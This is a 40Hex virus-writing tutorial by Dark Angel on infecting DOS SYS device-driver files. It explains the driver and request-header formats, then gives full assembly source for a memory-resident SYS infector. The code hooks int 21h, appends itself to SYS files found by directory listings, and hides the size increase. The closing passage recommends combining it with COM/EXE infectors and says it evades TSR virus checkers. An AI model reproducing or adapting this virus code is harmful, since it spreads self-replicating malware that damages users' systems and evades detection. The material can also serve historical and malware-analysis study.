453 lines
18 KiB
Plaintext
453 lines
18 KiB
Plaintext
|
|
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
An Introduction to Nonoverwriting Viruses
|
|
Part III: SYS Infectors
|
|
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
By Dark Angel
|
|
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
The SYS file is the most overlooked executable file structure in DOS.
|
|
Viruses are quite capable of infecting SYS files, as DOS kindly allows for
|
|
such extensions to this file format.
|
|
|
|
The SYS file is loaded beginning at offset 0 of a particular segment.
|
|
It consists of a header followed by code. SYS files may be chained
|
|
together after a simple modification in the header. This is the key to
|
|
infecting SYS files.
|
|
|
|
There are two types of device drivers; block and character. Block
|
|
devices include floppy, hard, and virtual disks, i.e. any media which can
|
|
store data. Character devices include printers, modems, keyboard, and the
|
|
screen. The virus will generally be a character device, as it reduces
|
|
complexity.
|
|
|
|
The header structure is straightforward:
|
|
|
|
Offset Size Description
|
|
------ ---- -----------
|
|
0h DWORD Pointer to next header
|
|
4h WORD Attribute
|
|
6h WORD Pointer to strategy routine
|
|
8h WORD Pointer to interrupt routine
|
|
0Ah QWORD Name of the device driver
|
|
|
|
The pointer to the next device driver header appears at offset zero in the
|
|
header. This is a far pointer consisting of a segment:offset pair. If the
|
|
current device is the only device appearing in the SYS file, then this
|
|
pointer should be set to FFFF:FFFF. However, if there are two or more
|
|
device drivers contained in the file, then the offset field should be equal
|
|
to the absolute location of the next device in the file. The segment field
|
|
should remain FFFF. For example, if a second device driver occurs at
|
|
offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300 The
|
|
second (and all other) device driver must contain a new header as well.
|
|
|
|
The next field contains the attribute of the device driver. Bit 15
|
|
determines the nature of the device driver. If bit 15 is set, then the
|
|
device driver header corresponds to a character device; otherwise, the
|
|
device is a block device. You need not concern yourself with any of the
|
|
other bits; they may remain cleared.
|
|
|
|
Before the next two fields may be understood, it is necessary to introduce
|
|
the concept of the request header. The request header contains DOS's
|
|
requests of the device driver. For example, DOS may ask for initialisation
|
|
or a read or even a status check. The information needed by the device
|
|
driver to interpret the request is all contained in the request header. It
|
|
is passed to the strategy routine by DOS as a far pointer in ES:BX. The
|
|
job of the strategy routine is to save the pointer for use by the interrupt
|
|
routine. The interrupt routine is called by DOS immediately after the
|
|
strategy routine. This routine processes the request in the header and
|
|
performs the appropriate actions.
|
|
|
|
The word-length pointers in the SYS header to the strategy and interrupt
|
|
routines are relative to the start of the SYS file. So, if the strategy
|
|
routine resides in absolute offset 32h in the file, then the field
|
|
containing the location of the strategy routine would hold the number 32h.
|
|
|
|
The name field in the SYS header simply holds an 8 byte device name. For
|
|
example, 'NUL ' and 'CLOCK$ ' are two common DOS devices. The name
|
|
should be justified with space characters (0x20).
|
|
|
|
By using DOS's feature of chaining SYS files, we may easily infect
|
|
this type of file. No bytes need to be saved. There are but two steps.
|
|
The first is to concatenate the virus to the target file. The second is to
|
|
alter the first word of the SYS file to point to the virus header. The
|
|
only trick involved is writing the SYS interrupt routine. The format of
|
|
the request header is:
|
|
|
|
Offset Size Description
|
|
------ ---- -----------
|
|
0h BYTE Length of request header (in bytes)
|
|
1h BYTE Unit code (for block devices)
|
|
2h BYTE Command code
|
|
3h WORD Status
|
|
5h QWORD Reserved by DOS
|
|
0Dh Var. Data for the operation
|
|
|
|
Only one command code is relevant for use in the virus. Upon
|
|
initialisation of the device driver, DOS will send a request header with 0
|
|
in the command code field. This is the initialisation check. The format
|
|
of the variable sized field in the request header in this case is:
|
|
|
|
Offset Size Description
|
|
------ ---- -----------
|
|
0Dh BYTE Number of units (ignored by character devices)
|
|
0Eh DWORD Ending address of resident program code
|
|
12h DWORD Pointer to BPB aray (ignored by character devices)
|
|
16h BYTE Drive number (irrelevant in character devices)
|
|
|
|
The only relevant fields are at offset 3 and 0Eh. Offset 3 holds the
|
|
status word of the operation. The virus fills this in with the appropriate
|
|
value. Generally, the virus should put a value of 100h in the status word
|
|
in the event of a successful request and a 8103h in the status word in the
|
|
event of a failure. The 8103h causes DOS to think that the device driver
|
|
does not understand the request. A value of 8102h should be returned in
|
|
the event of a failed installation. Offset 0Eh will hold the address of
|
|
the end of the virus (include the heap!) in the event of a successful
|
|
installation and CS:0 in the event of a failure.
|
|
|
|
Basically, the strategy routine of the virus should contain a simple
|
|
stub to save the es:bx pointer. The interrupt routine should fail all
|
|
requests other than initialisation. It should perform an installation if
|
|
the virus is not yet installed and fail if it is already in memory
|
|
(remember to set offset 0eh to cs:0).
|
|
|
|
A sample infector with very limited stealth features follows. While it is
|
|
somewhat large, it may be easily coupled with a simple COM/EXE infection
|
|
routine to create a powerful virus. It is a SYS-only, memory resident
|
|
infector.
|
|
|
|
---------------------------------------------------------------------------
|
|
.model tiny
|
|
.code
|
|
org 0 ; SYS files originate at zero
|
|
; SYS infector
|
|
; Written by Dark Angel of Phalcon/Skism
|
|
; for 40Hex
|
|
header:
|
|
|
|
next_header dd -1 ; FFFF:FFFF
|
|
attribute dw 8000h ; character device
|
|
strategy dw offset _strategy
|
|
interrupt dw offset _interrupt
|
|
namevirus db 'SYS INF ' ; simple SYS infector
|
|
|
|
endheader:
|
|
|
|
author db 0,'Simple SYS infector',0Dh,0Ah
|
|
db 'Written by Dark Angel of Phalcon/Skism',0
|
|
|
|
_strategy: ; save es:bx pointer
|
|
push si
|
|
call next_strategy
|
|
next_strategy:
|
|
pop si
|
|
mov cs:[si+offset savebx-offset next_strategy],bx
|
|
mov cs:[si+offset savees-offset next_strategy],es
|
|
pop si
|
|
retf
|
|
|
|
_interrupt: ; install virus in memory
|
|
push ds ; generally, only the segment
|
|
push es ; registers need to be preserved
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
call next_interrupt
|
|
next_interrupt:
|
|
pop bp
|
|
les bx,cs:[bp+savebx-next_interrupt] ; get request header
|
|
pointer
|
|
|
|
mov es:[bx+3],8103h ; default to fail request
|
|
cmp byte ptr es:[bx+2], 0 ; check if it is installation
|
|
request
|
|
jnz exit_interrupt ; exit if it is not
|
|
|
|
mov es:[bx+10h],cs ; fill in ending address value
|
|
lea si,[bp+header-next_interrupt]
|
|
mov es:[bx+0eh],si
|
|
dec byte ptr es:[bx+3] ; and assume installation failure
|
|
|
|
mov ax, 0b0fh ; installation check
|
|
int 21h
|
|
cmp cx, 0b0fh
|
|
jz exit_interrupt ; exit if already installed
|
|
|
|
add es:[bx+0eh],offset endheap ; fixup ending address
|
|
mov es:[bx+3],100h ; and status word
|
|
|
|
xor ax,ax
|
|
mov ds,ax ; ds->interrupt table
|
|
les bx,ds:[21h*4] ; get old interrupt handler
|
|
mov word ptr cs:[bp+oldint21-next_interrupt],bx
|
|
mov word ptr cs:[bp+oldint21+2-next_interrupt],es
|
|
|
|
lea si,[bp+int21-next_interrupt]
|
|
cli
|
|
mov ds:[21h*4],si ; replace int 21h handler
|
|
mov ds:[21h*4+2],cs
|
|
sti
|
|
exit_interrupt:
|
|
pop es
|
|
pop ds
|
|
retf
|
|
|
|
int21:
|
|
cmp ax,0b0fh ; installation check?
|
|
jnz notinstall
|
|
xchg cx,ax ; mark already installed
|
|
exitint21:
|
|
iret
|
|
notinstall:
|
|
pushf
|
|
db 9ah ; call far ptr This combined with
|
|
the
|
|
oldint21 dd ? ; pushf simulates an int 21h call
|
|
|
|
pushf
|
|
|
|
push bp
|
|
push ax
|
|
|
|
mov bp, sp ; set up new stack frame
|
|
; flags [bp+10]
|
|
; CS:IP [bp+6]
|
|
; flags new [bp+4]
|
|
; bp [bp+2]
|
|
; ax [bp]
|
|
mov ax, [bp+4] ; get flags
|
|
mov [bp+10], ax ; replace old flags with new
|
|
|
|
pop ax ; restore the stack
|
|
pop bp
|
|
popf
|
|
|
|
cmp ah, 11h ; trap FCB find first and
|
|
jz findfirstnext
|
|
cmp ah, 12h ; FCB find next calls only
|
|
jnz exitint21
|
|
findfirstnext:
|
|
cmp al,0ffh ; successful findfirst/next?
|
|
jz exitint21 ; exit if not
|
|
|
|
push bp
|
|
call next_int21
|
|
next_int21:
|
|
pop bp
|
|
sub bp, offset next_int21
|
|
|
|
push ax ; save all registers
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
push es
|
|
push si
|
|
push di
|
|
|
|
mov ah, 2fh ; ES:BX <- DTA
|
|
int 21h
|
|
|
|
push es ; DS:BX->DTA
|
|
pop ds
|
|
|
|
cmp byte ptr [bx], 0FFh ; extended FCB?
|
|
jnz regularFCB ; continue if not
|
|
add bx, 7 ; otherwise, convert to regular FCB
|
|
regularFCB:
|
|
mov cx, [bx+29] ; get file size
|
|
mov word ptr cs:[bp+filesize], cx
|
|
|
|
push cs ; ES = CS
|
|
pop es
|
|
|
|
cld
|
|
|
|
; The following code converts the FCB to an ASCIIZ string
|
|
lea di, [bp+filename] ; destination buffer
|
|
lea si, [bx+1] ; source buffer - filename
|
|
|
|
cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
|
|
jz bombout
|
|
|
|
mov cx, 8 ; copy up to 8 bytes
|
|
back: cmp byte ptr ds:[si], ' ' ; is it a space?
|
|
jz copy_done ; if so, done copying
|
|
movsb ; otherwise, move character to
|
|
buffer
|
|
loop back
|
|
|
|
copy_done:
|
|
mov al, '.' ; copy period
|
|
stosb
|
|
|
|
mov ax, 'YS'
|
|
lea si, [bx+9] ; source buffer - extension
|
|
cmp word ptr [si], ax ; check if it has the SYS
|
|
jnz bombout ; extension and exit if it
|
|
cmp byte ptr [si+2], al ; does not
|
|
jnz bombout
|
|
stosw ; copy 'SYS' to the buffer
|
|
stosb
|
|
|
|
mov al, 0 ; copy null byte
|
|
stosb
|
|
|
|
push ds
|
|
pop es ; es:bx -> DTA
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
xchg di,bx ; es:di -> DTA
|
|
; open file, read/only
|
|
call open ; al already 0
|
|
jc bombout ; exit on error
|
|
|
|
mov ah, 3fh ; read first
|
|
mov cx, 2 ; two bytes of
|
|
lea dx, [bp+buffer] ; the header
|
|
int 21h
|
|
|
|
mov ah, 3eh ; close file
|
|
int 21h
|
|
|
|
InfectSYS:
|
|
inc word ptr cs:[bp+buffer] ; if first word not FFFF
|
|
jz continueSYS ; assume already infected
|
|
; this is a safe bet since
|
|
; most SYS files do not have
|
|
; another SYS file chained on
|
|
|
|
alreadyinfected:
|
|
sub es:[di+29], heap - header ; hide file size increase
|
|
; during a DIR command
|
|
; This causes CHKDSK errors
|
|
;sbb word ptr es:[di+31], 0 ; not needed because SYS files
|
|
; are limited to 64K maximum
|
|
|
|
bombout:
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
pop bp
|
|
iret
|
|
|
|
continueSYS:
|
|
push ds
|
|
pop es
|
|
|
|
lea si, [bp+offset header]
|
|
lea di, [bp+offset bigbuffer]
|
|
mov cx, offset endheader - offset header
|
|
rep movsb
|
|
|
|
mov cx, cs:[bp+filesize]
|
|
add cx, offset _strategy - offset header ; calculate offset to
|
|
mov word ptr [bp+bigbuffer+6],cx ; strategy routine
|
|
|
|
add cx, offset _interrupt - offset _strategy;calculate offset to
|
|
mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
|
|
|
|
continueinfection:
|
|
mov ax, 4300h ; get file attributes
|
|
lea dx, [bp+filename]
|
|
int 21h
|
|
|
|
push cx ; save attributes on stack
|
|
push dx ; save filename on stack
|
|
|
|
mov ax, 4301h ; clear file attributes
|
|
xor cx, cx
|
|
lea dx,[bp+filename]
|
|
int 21h
|
|
|
|
call openreadwrite
|
|
|
|
mov ax, 5700h ; get file time/date
|
|
int 21h
|
|
push cx ; save them on stack
|
|
push dx
|
|
|
|
mov ah, 40h ; write filesize to the old
|
|
mov cx, 2 ; SYS header
|
|
lea dx, [bp+filesize]
|
|
int 21h
|
|
|
|
mov ax, 4202h ; go to end of file
|
|
xor cx, cx
|
|
cwd ; xor dx, dx
|
|
int 21h
|
|
|
|
mov ah, 40h ; concatenate header
|
|
mov cx, offset endheader - offset header
|
|
lea dx, [bp+bigbuffer]
|
|
int 21h
|
|
|
|
mov ah, 40h ; concatenate virus
|
|
mov cx, offset heap - offset endheader
|
|
lea dx, [bp+endheader]
|
|
int 21h
|
|
|
|
mov ax, 5701h ; restore file time/date
|
|
pop dx
|
|
pop cx
|
|
int 21h
|
|
|
|
mov ah, 3eh ; close file
|
|
int 21h
|
|
|
|
mov ax, 4301h ; restore file attributes
|
|
pop cx
|
|
pop dx
|
|
int 21h
|
|
|
|
jmp bombout
|
|
|
|
openreadwrite:
|
|
mov al, 2 ; open read/write mode
|
|
open: mov ah, 3dh
|
|
lea dx,[bp+filename]
|
|
int 21h
|
|
xchg ax, bx ; put handle in bx
|
|
ret
|
|
|
|
heap:
|
|
savebx dw ?
|
|
savees dw ?
|
|
buffer db 2 dup (?)
|
|
filename db 13 dup (?)
|
|
filesize dw ?
|
|
bigbuffer db offset endheader - offset header dup (?)
|
|
endheap:
|
|
|
|
end header
|
|
---------------------------------------------------------------------------
|
|
|
|
The reason the "delta offset" is needed throughout the file is because
|
|
it is impossible to know the exact location where the SYS file will be
|
|
loaded into memory. This can be ameliorated by some file padding and fancy
|
|
mathematical calculations.
|
|
|
|
The advantages of using SYS files are manyfold. There is no load high
|
|
routine involved apart from the strategy/interrupt routines. This saves
|
|
space. SYS files also generally load before TSR virus checkers. TSR
|
|
checkers also can't detect the residency routine of the virus, since it is
|
|
a normal part of the DOS loading process. The routine for the infection of
|
|
the SYS file is ridiculously easy to implement and takes remarkably little
|
|
space, so there is no reason not to include SYS support in viruses.
|
|
Finally, the memory "loss" reported by CHKDSK usually associated with
|
|
memory resident viruses is not a problem with SYS files.
|
|
|
|
A SYS file infector, when combined with a COM and EXE general
|
|
infector, can lead to a powerful virus. Once the first SYS file is
|
|
infected, the infected system becomes extremely vulnerable to the virus, as
|
|
there is little the user can do to prevent the virus from running, short
|
|
of a clean boot.
|